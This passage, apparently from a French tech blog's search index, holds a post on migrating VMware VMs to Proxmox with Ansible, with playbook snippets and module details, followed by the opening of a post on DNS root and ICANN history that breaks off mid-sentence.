show_teaming_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), show_uplinks=dict(type=\u0026#39;bool\u0026#39;, default=True), show_port_policy=dict(type=\u0026#39;bool\u0026#39;, default=True), show_vlan_info=dict(type=\u0026#39;bool\u0026#39;, default=False), Laissez-la tranquille et vous obtenez la politique d\u0026rsquo;apprentissage MAC, la politique de teaming, l\u0026rsquo;ordre des uplinks et la politique de port pour chaque portgroup du parc. Tout sauf l\u0026rsquo;étiquette de VLAN, qui est le seul champ qu\u0026rsquo;une migration réseau demande réellement. La tâche est donc à l\u0026rsquo;envers de ce que vous écririez d\u0026rsquo;instinct : activez la seule chose, désactivez les cinq autres.\n- name: Read the distributed portgroups community.vmware.vmware_dvs_portgroup_info: datacenter: \u0026#34;{{ vcenter_datacenter }}\u0026#34; show_vlan_info: true show_network_policy: false show_teaming_policy: false show_port_policy: false show_mac_learning: false show_uplinks: false register: dvs_pgs Ce n\u0026rsquo;est pas un cas isolé. vmware.vmware.vms a gather_compute_objects, qui remplit cluster et esxi_host — false par défaut. community.vmware.vmware_vm_info a show_allocated, qui est le bloc tenant le CPU et la mémoire — false par défaut. Dans les trois cas, le champ coûteux à collecter est celui dont la migration a besoin, et le défaut protège un cas d\u0026rsquo;usage de rapport en lecture seule qui n\u0026rsquo;est pas celui où vous êtes.\nvlan_id est trois types différents Puis vous obtenez les étiquettes de VLAN et vous trouvez qu\u0026rsquo;elles ne sont pas d\u0026rsquo;une seule forme. Tout droit de get_vlan_info :\nif isinstance(vlan_obj, vim...TrunkVlanSpec): ... return dict(trunk=True, pvlan=False, vlan_id=vlan_id_list) elif isinstance(vlan_obj, vim...PvlanSpec): return dict(trunk=False, pvlan=True, vlan_id=str(vlan_obj.pvlanId)) else: return dict(trunk=False, pvlan=False, vlan_id=str(vlan_obj.vlanId)) Un portgroup d\u0026rsquo;accès vous donne la chaîne \u0026quot;100\u0026quot;. Un PVLAN vous donne une chaîne. Un trunk vous donne une liste de chaînes, chacune soit \u0026quot;20\u0026quot; soit \u0026quot;20-30\u0026quot;. Et chaque commutateur distribué a au moins un trunk dessus que vous en ayez fait un ou non, parce que le portgroup d\u0026rsquo;uplink est un trunk portant \u0026quot;0-4094\u0026quot;.\n| int ne vous est donc pas disponible tant que vous n\u0026rsquo;avez pas jeté les deux autres formes :\naccess_pgs: \u0026gt;- {{ dvs_pgs.dvs_portgroup_info | dict2items | map(attribute=\u0026#39;value\u0026#39;) | flatten | rejectattr(\u0026#39;vlan_info.trunk\u0026#39;) | rejectattr(\u0026#39;vlan_info.pvlan\u0026#39;) | rejectattr(\u0026#39;vlan_info.vlan_id\u0026#39;, \u0026#39;in\u0026#39;, [\u0026#39;0\u0026#39;, 0]) | list }} Trois rejets, dans cet ordre. Les trunks partent, les PVLAN partent, puis les portgroups non étiquetés partent, ce qui écarte aussi les groupes d\u0026rsquo;uplink et tout ce qui est sur le VLAN 0.\nJe ne traduis pas les trunks ni les PVLAN automatiquement et je repousserais quiconque le ferait. Un trunk VMware atterrissant sur Proxmox a besoin soit d\u0026rsquo;une zone Q-in-Q, soit d\u0026rsquo;un VNet conscient du VLAN, et lequel est juste dépend de ce que l\u0026rsquo;invité s\u0026rsquo;attend à voir. C\u0026rsquo;est une décision, pas un mappage. Le playbook les imprime et passe :\nTASK [Report what was found] ok: [localhost] =\u0026gt; { \u0026#34;msg\u0026#34;: \u0026#34;3 access portgroups -\u0026gt; [100, 200]. Not translated: [\u0026#39;dvs_001-uplink\u0026#39;] (trunks), [\u0026#39;isolated\u0026#39;] (PVLANs).\u0026#34; } Refléter les VLAN dans le SDN Une zone VLAN liée à un pont, puis un VNet par VLAN avec l\u0026rsquo;étiquette dessus.\n- name: Create the VLAN zone community.proxmox.proxmox_zone: zone: \u0026#34;{{ sdn_zone }}\u0026#34; type: vlan bridge: \u0026#34;{{ sdn_bridge }}\u0026#34; mtu: \u0026#34;{{ sdn_mtu }}\u0026#34; state: present - name: Create one VNet per VMware VLAN community.proxmox.proxmox_vnet: vnet: \u0026#34;{{ sdn_vnet_prefix }}{{ item.vlan_info.vlan_id | int }}\u0026#34; zone: \u0026#34;{{ sdn_zone }}\u0026#34; tag: \u0026#34;{{ item.vlan_info.vlan_id | int }}\u0026#34; alias: \u0026#34;{{ item.portgroup_name }}\u0026#34; state: present loop: \u0026#34;{{ access_pgs | unique(attribute=\u0026#39;vlan_info.vlan_id\u0026#39;) }}\u0026#34; throttle: 1 Les noms de VNet sont courts et contraints, et les noms de portgroup VMware ne le sont pas. Production-Web-Tier-VLAN100 est un nom de portgroup parfaitement ordinaire et un nom de VNet impossible. Le nom est donc généré — v100, à partir de l\u0026rsquo;étiquette — et l\u0026rsquo;original lisible par l\u0026rsquo;humain va dans alias, où il reste visible dans l\u0026rsquo;interface et dans la sortie de pvesh. Dériver le nom du VLAN plutôt que du portgroup veut aussi dire que le mappage est réversible à l\u0026rsquo;inspection six mois plus tard.\nDeux portgroups sur le même VLAN s\u0026rsquo;effondrent en un seul VNet. C\u0026rsquo;est correct — ils étaient le même domaine de diffusion dans VMware aussi — mais vous devriez le voir se passer, ce qui est ce que fait unique(attribute='vlan_info.vlan_id'). Deux portgroups appelés prod-web et prod-web-b, tous deux sur le VLAN 100, produisent un seul v100.\nthrottle: 1 n\u0026rsquo;est pas de la prudence, c\u0026rsquo;est le module. Chaque écriture SDN dans community.proxmox prend un verrou de cluster global, applique la configuration en attente et le relâche — get_global_sdn_lock(), puis apply_sdn_changes_and_release_lock(). Lancez-les en parallèle et elles font la queue sur le verrou de toute façon ; le throttle vous empêche juste de prétendre le contraire. Bon à savoir aussi que le rollback en cas d\u0026rsquo;échec dépend de la version — le module vérifie is_lock_and_rollback_supported et, sur un PVE plus ancien, vous dit qu\u0026rsquo;il n\u0026rsquo;a pas pu défaire plutôt que de le faire.\nUne chose cosmétique qui vous fera douter. En 1.6.0, proxmox_vnet émet tout son dict de params comme un avertissement Ansible à chaque création :\nself.module.warn(f\u0026#34;{vnet_params}\u0026#34;) self.proxmox_api.cluster().sdn().vnets().post(**vnet_params) C\u0026rsquo;est une ligne de débogage que quelqu\u0026rsquo;un a laissée. C\u0026rsquo;est du bruit, pas un défaut.\nBâtir les coquilles, sans disques Maintenant les VM, et c\u0026rsquo;est là que la conception se paie. Chaque VM est bâtie dans Proxmox avec le bon nombre de CPU, la bonne mémoire, le bon micrologiciel et les bonnes NIC sur les bons VLAN. Aucun disque du tout.\nUne coquille sans disque est rapide à créer, gratuite à supprimer, et démarre sur une invite PXE si quelqu\u0026rsquo;un la lance par accident. Vous pouvez en bâtir quatre cents en un après-midi, regarder le résultat, décider qu\u0026rsquo;il est faux, tout supprimer et recommencer. Rien n\u0026rsquo;a été copié, rien n\u0026rsquo;a été éteint, et personne n\u0026rsquo;a remarqué.\nLes valeurs dérivées sont des déclarations, pas des tâches. Ansible les évalue paresseusement contre l\u0026rsquo;hôte en cours, donc chaque VM obtient la sienne sans un seul set_fact :\n# group_vars/all.yml pve_vmid: \u0026#34;{{ vmid_base | int + (vm_moid | regex_replace(\u0026#39;^vm-\u0026#39;, \u0026#39;\u0026#39;) | int) }}\u0026#34; pve_bios: \u0026#34;{{ \u0026#39;ovmf\u0026#39; if vm_firmware == \u0026#39;efi\u0026#39; else \u0026#39;seabios\u0026#39; }}\u0026#34; pve_cores: \u0026#34;{{ vm_cores_per_socket | int }}\u0026#34; pve_sockets: \u0026#34;{{ ((vm_num_cpu | int) / (vm_cores_per_socket | int)) | round(0, \u0026#39;ceil\u0026#39;) | int }}\u0026#34; Le VMID vient du MoID de vCenter. vm-42 devient 20042. Cela compte plus qu\u0026rsquo;il n\u0026rsquo;y paraît : le play de bascule doit trouver la VM que le play de construction a créée, et une nouvelle exécution doit atterrir sur la même plutôt que de bâtir silencieusement une seconde. Laisser l\u0026rsquo;API allouer le prochain ID libre — ce qui arrive si vous omettez vmid, et dont j\u0026rsquo;ai parlé la dernière fois — rend cela impossible.\nLa mémoire n\u0026rsquo;a besoin d\u0026rsquo;aucune conversion. VMware rapporte config.hardware.memoryMB et Proxmox veut des Mo. Les sockets si : VMware vous donne le total de vCPU et de cœurs par socket, Proxmox veut des sockets et des cœurs.\n- name: Create the VM shell delegate_to: localhost community.proxmox.proxmox_kvm: node: \u0026#34;{{ proxmox_node }}\u0026#34; vmid: \u0026#34;{{ pve_vmid }}\u0026#34; name: \u0026#34;{{ inventory_hostname }}\u0026#34; cores: \u0026#34;{{ pve_cores }}\u0026#34; sockets: \u0026#34;{{ pve_sockets }}\u0026#34; memory: \u0026#34;{{ vm_memory_mb }}\u0026#34; ostype: \u0026#34;{{ pve_ostype }}\u0026#34; bios: \u0026#34;{{ pve_bios }}\u0026#34; scsihw: \u0026#34;{{ default_scsihw }}\u0026#34; efidisk0: \u0026#34;{{ {\u0026#39;storage\u0026#39;: pve_target_storage, \u0026#39;efitype\u0026#39;: \u0026#39;4m\u0026#39;, \u0026#39;pre_enrolled_keys\u0026#39;: false} if pve_bios == \u0026#39;ovmf\u0026#39; else omit }}\u0026#34; agent: \u0026#34;enabled=1\u0026#34; onboot: false state: present onboot: false exprès. Rien ne devrait démarrer de soi-même au milieu d\u0026rsquo;une migration, surtout pas une machine dont les disques sont encore écrits par un autre hyperviseur.\nBien régler le micrologiciel n\u0026rsquo;est pas optionnel. Un invité UEFI importé sur une VM SeaBIOS s\u0026rsquo;importera parfaitement puis refusera de démarrer, et vous y passerez une heure. config.firmware est efi ou bios et se mappe droit sur ovmf et seabios. Un invité UEFI a aussi besoin d\u0026rsquo;un disque de variables EFI, qui doit être créé avec la VM — voir plus bas pourquoi.\nproxmox_kvm ne corrigera pas une NIC, et ne vous le dira pas La dernière fois, j\u0026rsquo;ai écrit que proxmox_kvm refuse de converger plutôt que de mettre à jour. Voici la version plus aiguë de cela, qui m\u0026rsquo;a mordu en écrivant ceci et vaut d\u0026rsquo;être précise.\nupdate vaut false par défaut, donc relancer contre une VM qui existe déjà ne fait rien. Bien, et documenté. Mais mettez update: true et le module refuse encore de toucher à certains paramètres :\n# If update, don\u0026#39;t update disk (virtio, efidisk0, tpmstate0, ide, sata, scsi) # and network interface, unless update_unsafe=True if update_unsafe is False: ... if \u0026#34;efidisk0\u0026#34; in kwargs: del kwargs[\u0026#34;efidisk0\u0026#34;] Il les supprime de la requête et continue. Vous corrigez donc une NIC dans votre mappage d\u0026rsquo;inventaire, relancez avec update: true, regardez Ansible rapporter changed, et la NIC est exactement aussi fausse qu\u0026rsquo;elle l\u0026rsquo;était. Le changed est vrai — autre chose dans la charge utile a été mise à jour — mais pas la chose que vous corrigiez.\nupdate_unsafe: true lève la restriction, et le nom est honnête. La même garde couvre les disques, donc sur une VM qui a des disques, une mise à jour non sûre est une bonne façon d\u0026rsquo;acquérir une seconde copie de l\u0026rsquo;un d\u0026rsquo;eux. Ce n\u0026rsquo;est pas un interrupteur à choisir pendant une migration.\nLa sortie est de ne pas utiliser net du tout. Les NIC vont avec proxmox_nic, un module dont tout le travail est une seule interface et qui converge correctement :\n- name: Attach each NIC to its VNet delegate_to: localhost community.proxmox.proxmox_nic: vmid: \u0026#34;{{ pve_vmid }}\u0026#34; interface: \u0026#34;net{{ idx }}\u0026#34; bridge: \u0026#34;{{ sdn_vnet_prefix }}{{ pg_vlan[item.backing.port.portgroupKey] }}\u0026#34; mac: \u0026#34;{{ item.macAddress }}\u0026#34; model: \u0026#34;{{ default_net_model }}\u0026#34; state: present loop: \u0026#34;{{ vm_nics }}\u0026#34; loop_control: index_var: idx C\u0026rsquo;est la même scission où j\u0026rsquo;ai fini la dernière fois : proxmox_kvm pour définir la machine, proxmox_disk et proxmox_nic pour les choses qui changent ensuite. Le paramètre est mac, pas mac_addr.\nefidisk0 ne peut pas être sorti de la même façon — proxmox_disk n\u0026rsquo;a ni efitype ni pre_enrolled_keys — donc il doit être posé à la création et être juste du premier coup.\nReportez la MAC. VMware distribue des MAC depuis 00:50:56:... et Proxmox les prendra sans se plaindre. Les garder veut dire que les réservations DHCP correspondent encore, que les licences verrouillées sur MAC valident encore, et que toute règle de pare-feu écrite contre une MAC se déclenche encore. Les changer veut dire une journée de petits mystères. proxmox_nic accepte aussi model: vmxnet3 si vous avez besoin que l\u0026rsquo;invité voie la même NIC qu\u0026rsquo;avant, mais sur KVM, virtio est la meilleure carte, et un invité Windows voudra de nouveaux pilotes de toute façon.\nRefuser plutôt que deviner Une NIC sur un portgroup standard n\u0026rsquo;a pas de backing.port du tout. Son backing est un NetworkBackingInfo avec un deviceName. Elle ne sera pas dans la carte, et la bonne chose à faire est de s\u0026rsquo;arrêter :\n- name: Every NIC must sit on a distributed portgroup with a VNet ansible.builtin.assert: that: - vm_nics | rejectattr(\u0026#39;backing.port.portgroupKey\u0026#39;, \u0026#39;defined\u0026#39;) | list | length == 0 - vm_nics | map(attribute=\u0026#39;backing.port.portgroupKey\u0026#39;) | reject(\u0026#39;in\u0026#39;, pg_vlan.keys() | list) | list | length == 0 fail_msg: \u0026gt;- {{ inventory_hostname }} has NICs that do not map to a Proxmox VNet. Attaching it to the wrong network is worse than not building it. Deux conditions plutôt qu\u0026rsquo;une, parce que la première doit tourner avant la seconde : map(attribute=...) sur une NIC sans port exploserait sur la recherche indéfinie. Rejetez d\u0026rsquo;abord les informes, puis vérifiez le reste contre la carte.\nUn export, monté deux fois Voici la partie qui rend le tout bon marché.\nMettez un export NFS là où les deux hyperviseurs peuvent le monter. vCenter voit un datastore appelé nfs-migration ; les nœuds Proxmox montent le même export et voient /mnt/pve/nfs-migration. Maintenant, storage-vMotion les VMDK dessus.\nLe Storage vMotion est en vie. L\u0026rsquo;invité continue de servir le trafic tout du long. Rien n\u0026rsquo;est basculé, aucune fenêtre n\u0026rsquo;est nécessaire, et cela peut être abandonné à mi-chemin sans conséquence au-delà d\u0026rsquo;E/S gaspillées. C\u0026rsquo;est l\u0026rsquo;étape la plus lente de loin et elle ne coûte rien.\n- name: Relocate to the NFS datastore delegate_to: localhost throttle: 2 community.vmware.vmware_vmotion: moid: \u0026#34;{{ vm_moid }}\u0026#34; destination_datastore: \u0026#34;{{ nfs_datastore_vmware }}\u0026#34; timeout: \u0026#34;{{ vmotion_timeout }}\u0026#34; timeout vaut 3600 par défaut — une heure. Un VMDK de 2 To n\u0026rsquo;y arrivera pas, et le mode d\u0026rsquo;échec est vilain d\u0026rsquo;une façon discrète : la tâche Ansible échoue tandis que le vMotion continue de tourner dans vCenter. Vous avez maintenant un playbook qui dit qu\u0026rsquo;il a échoué et un parc qui est encore occupé. Réglez-le à quelque chose qui reflète votre stockage réel.\nthrottle: 2, parce que le goulot d\u0026rsquo;étranglement n\u0026rsquo;est pas le nœud de contrôle. Le Storage vMotion est borné par la baie et le réseau. Six à la fois ne vous donne pas six fois le débit ; il vous donne six migrations lentes et une équipe de stockage fâchée.\nLe module est idempotent de la façon que vous voulez — il met storage_vmotion_needed = False si la VM est déjà sur le datastore cible — donc relancer pour ramasser les retardataires est sûr.\nLe temps que ceci finisse, les octets siègent sur un stockage que Proxmox monte déjà. À ce titre, rien d\u0026rsquo;autre n\u0026rsquo;a besoin de les copier. Jamais.\nLa bascule C\u0026rsquo;est le seul play qui coûte du temps d\u0026rsquo;arrêt, et l\u0026rsquo;ordre à l\u0026rsquo;intérieur n\u0026rsquo;est pas négociable.\nD\u0026rsquo;abord, un problème facile à rater : l\u0026rsquo;inventaire est maintenant périmé. Il a été recueilli avant le vMotion, donc vm_disks tient encore les anciens chemins de datastore. Importez à partir de ceux-là et vous pointez Proxmox vers un chemin qu\u0026rsquo;il ne peut pas voir.\n- name: Re-read the inventory now the disks have moved ansible.builtin.meta: refresh_inventory Ce qui est aussi pourquoi le cache est coupé dans la configuration de l\u0026rsquo;inventaire. Un cache chaud rendrait à refresh_inventory exactement les données périmées qu\u0026rsquo;il a été appelé à remplacer. C\u0026rsquo;est un vrai compromis — vCenter n\u0026rsquo;est pas rapide — mais un mauvais chemin ici est une bascule échouée dans une fenêtre, et l\u0026rsquo;aller-retour est bon marché en comparaison.\nPuis éteignez. Importer un VMDK qu\u0026rsquo;un hôte ESXi tient encore ouvert vous donne une copie cohérente au mieux au crash :\n- name: Shut the guest down in VMware delegate_to: localhost vmware.vmware.vm_powerstate: moid: \u0026#34;{{ vm_moid }}\u0026#34; state: \u0026#34;{{ \u0026#39;shutdown-guest\u0026#39; if vm_power_state == \u0026#39;poweredOn\u0026#39; else \u0026#39;powered-off\u0026#39; }}\u0026#34; timeout: 600 force: true shutdown-guest est un arrêt gracieux par les VMware Tools ; force: true arrête durement tout ce qui ne part pas dans le délai. Sur le nouveau module, le paramètre est timeout, pas state_change_timeout comme sur l\u0026rsquo;obsolète.\nPuis l\u0026rsquo;import, qui est le pivot :\n- name: Import each VMDK onto its VM delegate_to: localhost throttle: 2 community.proxmox.proxmox_disk: vmid: \u0026#34;{{ pve_vmid }}\u0026#34; disk: \u0026#34;scsi{{ idx }}\u0026#34; storage: \u0026#34;{{ pve_target_storage }}\u0026#34; import_from: \u0026gt;- {{ item.backing.fileName | regex_replace(\u0026#39;^\\[[^\\]]+\\]\\s*\u0026#39;, \u0026#39;/mnt/pve/\u0026#39; ~ nfs_storage_pve ~ \u0026#39;/\u0026#39;) }} format: \u0026#34;{{ pve_target_format }}\u0026#34; timeout: \u0026#34;{{ import_timeout }}\u0026#34; create: regular state: present loop: \u0026#34;{{ vm_disks }}\u0026#34; loop_control: index_var: idx Le regex_replace fait la traduction entre les deux mondes. vCenter nomme un disque [nfs-migration] app01/app01.vmdk ; Proxmox atteint le même fichier à /mnt/pve/nfs-migration/app01/app01.vmdk. Même export, mêmes octets, pas de seconde copie. Vous gardez le descripteur .vmdk et ignorez le -flat.vmdk à côté — qemu-img lit le descripteur et le suit jusqu\u0026rsquo;à l\u0026rsquo;extent.\nTrois choses au sujet d\u0026rsquo;import_from qui sont toutes dans le module et toutes bonnes à savoir avant l\u0026rsquo;ouverture de la fenêtre.\nIl ne se déclenche qu\u0026rsquo;à la création. Dans la branche de mise à jour :\n# \u0026#39;import_from\u0026#39; fails on disk updates playbook_config = self.get_create_attributes() playbook_config.pop(\u0026#34;import_from\u0026#34;, None) Si scsi0 existe déjà sur cette VM, le paramètre est abandonné et vous obtenez une mise à jour ordinaire. Donc une nouvelle exécution après un mauvais import ne réimporte pas. Elle ne fait silencieusement rien du tout et rapporte un succès. Si un import se passe mal, supprimez le disque avant de réessayer.\ntimeout vaut 600 secondes par défaut. Dix minutes, pour importer et convertir le disque d\u0026rsquo;une machine virtuelle. La propre documentation du module dit de le relever ; suivez le conseil.\nEt un chemin absolu a besoin de root. La documentation est directe là-dessus :\n\u0026lt;STORAGE\u0026gt;:\u0026lt;VMID\u0026gt;/\u0026lt;FULL_NAME\u0026gt; or \u0026lt;ABSOLUTE_PATH\u0026gt;/\u0026lt;FULL_NAME\u0026gt;. \u0026lt;STORAGE\u0026gt;:import/\u0026lt;FULL_NAME\u0026gt; for PVE 9.x and later, to use storage\u0026rsquo;s import directory. Attention! Only root can use absolute paths.\nCe qui atterrit maladroitement contre le conseil que j\u0026rsquo;ai donné la dernière fois, et que je maintiens toujours : utilisez un jeton d\u0026rsquo;API cadré, pas root. Ce conseil tient pour chaque autre étape ici : la découverte, le SDN, la construction des coquilles, le réglage de l\u0026rsquo;ordre de démarrage marchent tous bien avec un jeton. Cette seule tâche non, et aucune quantité de privilège sur le rôle ne le changera, parce que la restriction porte sur le fait que l\u0026rsquo;utilisateur soit root plutôt que sur une permission.\nIl y a trois sorties honnêtes, et pas de quatrième astucieuse :\nPVE 9.x : utilisez \u0026lt;storage\u0026gt;:import/\u0026lt;file\u0026gt; et restez sur le jeton. PVE 8.x : faites cette seule tâche en root@pam, et cette seule. PVE 8.x, pas de root sur l\u0026rsquo;API : lancez qm importdisk par SSH à la place. Le playbook prend les deux premières via un drapeau, parce que prétendre le contraire ne ferait que déplacer le problème vers qui le lance.\nEnfin l\u0026rsquo;ordre de démarrage, qui est une mise à jour ordinaire et donc intacte à la restriction update_unsafe :\n- name: Boot from the first imported disk delegate_to: localhost community.proxmox.proxmox_kvm: node: \u0026#34;{{ proxmox_node }}\u0026#34; vmid: \u0026#34;{{ pve_vmid }}\u0026#34; boot: \u0026#34;order=scsi0\u0026#34; update: true Rien ne démarre l\u0026rsquo;invité. C\u0026rsquo;est délibéré. Démarrez-le à la main, regardez-le monter, et seulement alors pensez à supprimer quoi que ce soit dans VMware.\nLe lancer Le tout est un seul playbook, étiqueté par étape, parce que ce ne sont pas des étapes que vous voulez lancer ensemble :\nansible-playbook migrate.yml --tags discover # look, change nothing ansible-playbook migrate.yml --tags sdn # build the VLANs ansible-playbook migrate.yml --tags build # build the diskless shells ansible-playbook migrate.yml --tags relocate # storage vMotion, live ansible-playbook migrate.yml --tags cutover # power off and import --limit est votre ami tout du long. Faites une VM d\u0026rsquo;abord. Faites un cluster. Le playbook n\u0026rsquo;a pas d\u0026rsquo;opinion sur combien vous mordez, et l\u0026rsquo;inventaire vous donne des groupes gratuitement — power_poweredOn, cluster_\u0026lt;name\u0026gt;, plus vmware_windows et vmware_linux du bloc groups.\nVérifiez ce que vous visez avant de le viser :\nansible-inventory --graph ansible-inventory --host some-vm Ce que je surveillerais encore Des choses que je m\u0026rsquo;attends à trouver quand ceci rencontrera un vrai parc, écrites maintenant pour ne pas pouvoir prétendre après coup que je les ai vues venir :\nLes invités Windows ne démarreront pas proprement sur un contrôleur VirtIO SCSI sans que le pilote soit présent d\u0026rsquo;abord. virtio-scsi-single est le bon contrôleur et le mauvais à remettre à une VM Windows qui ne l\u0026rsquo;a jamais vu. C\u0026rsquo;est tout un problème à part et il n\u0026rsquo;est résolu par rien de ce qui précède. Les VMware Tools devraient être retirés avant le déplacement, pas après. Les instantanés. Une VM avec une chaîne d\u0026rsquo;instantanés a plus d\u0026rsquo;un .vmdk par disque et importer la base vous donne l\u0026rsquo;état d\u0026rsquo;avant l\u0026rsquo;instantané. Consolidez d\u0026rsquo;abord. L\u0026rsquo;ordre de config.hardware.device est ce qui décide quel disque devient scsi0. Il a correspondu à l\u0026rsquo;ordre propre de l\u0026rsquo;invité partout où j\u0026rsquo;ai regardé, mais je le vérifierais sur un serveur de base de données multi-disque avant de m\u0026rsquo;y fier dans une fenêtre. Les disques indépendants et RDM ne feront pas de storage-vMotion comme les ordinaires. Rien de cela ne change la forme. Bâtissez les coquilles d\u0026rsquo;abord, déplacez les disques pendant que tout tourne encore, et gardez la coupure au seul play qui en a besoin.\n","permalink":"https://blogs.damiendye.uk/fr/ansible/vmware-to-proxmox-ansible/","summary":"Lire un parc vSphere avec l\u0026rsquo;inventaire dynamique, refléter ses VLAN dans le SDN de Proxmox, et reconstruire chaque VM en coquille sans disque avant qu\u0026rsquo;un seul disque ne bouge. Pourquoi chaque module d\u0026rsquo;info VMware cache le seul champ dont la migration a besoin, pourquoi vlan_id est trois types différents, et pourquoi un export NFS monté deux fois transforme la bascule en une lecture locale.","title":"De VMware à Proxmox avec Ansible — bâtissez les coquilles avant de déplacer un octet"},{"content":"J\u0026rsquo;ai été administrateur système du registre DNS chez Nominet, le registre .uk, de 2017 à 2019. Ce qui suit au sujet de l\u0026rsquo;ICANN est tout du domaine public et j\u0026rsquo;ai tout lié. Là où je parle plutôt depuis le poste, je le dis.\nDemandez à la plupart des ingénieurs qui fait tourner le DNS et vous obtenez l\u0026rsquo;une de deux réponses. Soit un haussement d\u0026rsquo;épaules, soit quelque chose au sujet de treize serveurs racine. Les deux sont fausses, et la seconde est fausse d\u0026rsquo;une façon plus intéressante, parce qu\u0026rsquo;elle pointe les machines au lieu du fichier.\nLe contrôle du DNS n\u0026rsquo;est pas distribué sur treize serveurs. Il siège dans un seul fichier texte, et dans la poignée de structures qui décident ce qui y entre, l\u0026rsquo;éditent, le signent et le publient. Tout le reste du système — chaque résolveur, chaque bureau d\u0026rsquo;enregistrement, chaque zone que vous avez jamais fait tourner — est en aval de ce fichier et en tire son autorité.\nCe billet parle de qui tient ce fichier, de ce que la passation de 2016 a réellement transféré, et de ce que les gens qui le tiennent en ont fait. La machinerie en dessous — ce qu\u0026rsquo;est réellement un registre, comment les noms y entrent, et qui peut en retirer un — est la suite.\nAvant l\u0026rsquo;ICANN, c\u0026rsquo;était un coup de fil Rien de l\u0026rsquo;arrangement actuel n\u0026rsquo;est inévitable, et l\u0026rsquo;histoire dit ce que l\u0026rsquo;ICANN a réellement été bâtie pour corriger.\nAu départ, il n\u0026rsquo;y avait pas de DNS du tout. À partir de 1972, il y avait un seul fichier texte, HOSTS.TXT, tenant chaque nom de machine de l\u0026rsquo;ARPANET et l\u0026rsquo;adresse où elle vivait. Il était gardé au Stanford Research Institute par Elizabeth Feinler et son équipe, et si vous vouliez votre machine dedans, vous appeliez le Network Information Center aux heures de bureau et demandiez. Tout le monde récupérait le fichier de temps en temps et espérait qu\u0026rsquo;il était à jour.\nCela ne monte pas en charge, et au début des années 1980 ce n\u0026rsquo;était clairement plus le cas. Le DNS a été bâti pour le remplacer — un arbre, délégué vers le bas, pour qu\u0026rsquo;aucun bureau unique n\u0026rsquo;ait à tenir toute la liste.\nQuelqu\u0026rsquo;un devait encore tenir le sommet de l\u0026rsquo;arbre. Pendant des années, ce quelqu\u0026rsquo;un fut un seul homme. Jon Postel, à l\u0026rsquo;University of Southern California, gérait les attributions de noms et de numéros sur de l\u0026rsquo;argent de recherche du gouvernement américain. L\u0026rsquo;IANA — l\u0026rsquo;Internet Assigned Numbers Authority — n\u0026rsquo;était pas une institution à ce moment-là. C\u0026rsquo;était Postel et une poignée de collègues, et cela marchait parce que les gens qui faisaient tourner le réseau lui faisaient confiance.\nL\u0026rsquo;argent est arrivé en 1993, quand la National Science Foundation a contracté InterNIC — Network Solutions parmi eux — pour gérer l\u0026rsquo;enregistrement. Le 14 septembre 1995, l\u0026rsquo;enregistrement gratuit a pris fin. Network Solutions facturait 50 $ par an sur un minimum de deux ans, et 30 % allait à un fonds gouvernemental qu\u0026rsquo;un tribunal a plus tard jugé une taxe illégale. Une entreprise, un prix, nulle part ailleurs où aller, et dès 1997 un procès antitrust.\nPuis en janvier 1998, Postel a fait la chose qui vous dit de quoi l\u0026rsquo;autorité de la racine est réellement faite.\nIl a envoyé un courriel à huit des douze opérateurs de serveurs racine, sur rien d\u0026rsquo;autre que sa propre stature, et leur a demandé de pointer leurs serveurs sur la machine de l\u0026rsquo;IANA au lieu de celle de Network Solutions. Les huit l\u0026rsquo;ont fait. Pendant environ une semaine, la racine faisant autorité de l\u0026rsquo;internet était là où Jon Postel avait demandé aux gens de regarder.\nIl a appelé cela un test. Bien des gens l\u0026rsquo;ont lu comme une démonstration — que la racine appartenait aux ingénieurs qui l\u0026rsquo;avaient bâtie plutôt qu\u0026rsquo;à un contractant du gouvernement. La réaction règle quelle lecture Washington a retenue. Ira Magaziner, le conseiller présidentiel sur la question, a dit à Postel qu\u0026rsquo;il ne travaillerait plus jamais sur l\u0026rsquo;internet. Le test a été inversé.\nL\u0026rsquo;ICANN a été constituée en Californie en septembre de cette année-là. Postel est mort le mois suivant.\nL\u0026rsquo;arrangement dont parle ce billet a donc été bâti pour corriger deux vrais problèmes : un espace de noms vendu par un monopoliste sans comptes à rendre, et une racine dont l\u0026rsquo;autorité reposait sur la confiance largement accordée à un seul homme. Les deux étaient de vrais problèmes. L\u0026rsquo;ICANN en fut la réponse.\nDeux codes qui ont survécu à la règle Deux fils qui pendent de cette époque avant de continuer, parce qu\u0026rsquo;à eux deux ils en disent plus sur le vrai fonctionnement de ce système que tout ce qui est dans les statuts de l\u0026rsquo;ICANN.\nLe Royaume-Uni a pris le mauvais code et l\u0026rsquo;a gardé.\nLe RFC 920, en octobre 1984, disait que les domaines de premier niveau de pays seraient tirés des codes à deux lettres de l\u0026rsquo;ISO 3166. Le code ISO 3166 du Royaume-Uni est GB. Par la règle telle qu\u0026rsquo;écrite, le domaine du Royaume-Uni devrait être .gb.\nIl ne l\u0026rsquo;est pas, parce que le Royaume-Uni est arrivé le premier. JANET, le réseau universitaire, s\u0026rsquo;était déjà fixé sur uk comme identifiant de premier niveau quelques mois avant que la liste dérivée de l\u0026rsquo;ISO ne soit dressée, et .uk a été enregistré le 24 juillet 1985. .gb a aussi été attribué, à condition que .uk y migre en temps voulu.\nLa migration n\u0026rsquo;a jamais eu lieu. Personne ne l\u0026rsquo;a faite. .gb a ensuite siégé dans la racine pendant quatre décennies après avoir ramassé, dans toute sa vie, un seul domaine de second niveau — hmg.gb, pour Her Majesty\u0026rsquo;s Government — à peine utilisé. L\u0026rsquo;ISO a fini par plier devant le fait accompli et a exceptionnellement réservé UK à la demande du Royaume-Uni.\nPersonne n\u0026rsquo;a été volé, au passage. UK n\u0026rsquo;était pas le code d\u0026rsquo;un autre pays — il est exceptionnellement réservé dans l\u0026rsquo;ISO 3166 pour le Royaume-Uni, à la demande du Royaume-Uni lui-même, et aucun autre État n\u0026rsquo;a jamais eu de prétention dessus. C\u0026rsquo;est exactement pourquoi personne n\u0026rsquo;a forcé la question : il n\u0026rsquo;y avait pas de partie lésée pour se plaindre.\nCe qui est ce qui rend l\u0026rsquo;histoire digne d\u0026rsquo;être racontée. La règle de l\u0026rsquo;ISO 3166 est rigide pour quiconque essaie d\u0026rsquo;entrer : pas d\u0026rsquo;entrée sur la liste, pas de domaine de code de pays. C\u0026rsquo;est pourquoi les territoires font pression pour être ajoutés à l\u0026rsquo;ISO 3166 en premier lieu, et pourquoi les lieux sans reconnaissance n\u0026rsquo;ont pas de ccTLD du tout. Pour un titulaire déjà dans la racine, la même règle s\u0026rsquo;est révélée être une suggestion.\nIl y a même un argument juste selon lequel le Royaume-Uni a fini avec le meilleur nom. GB, c\u0026rsquo;est 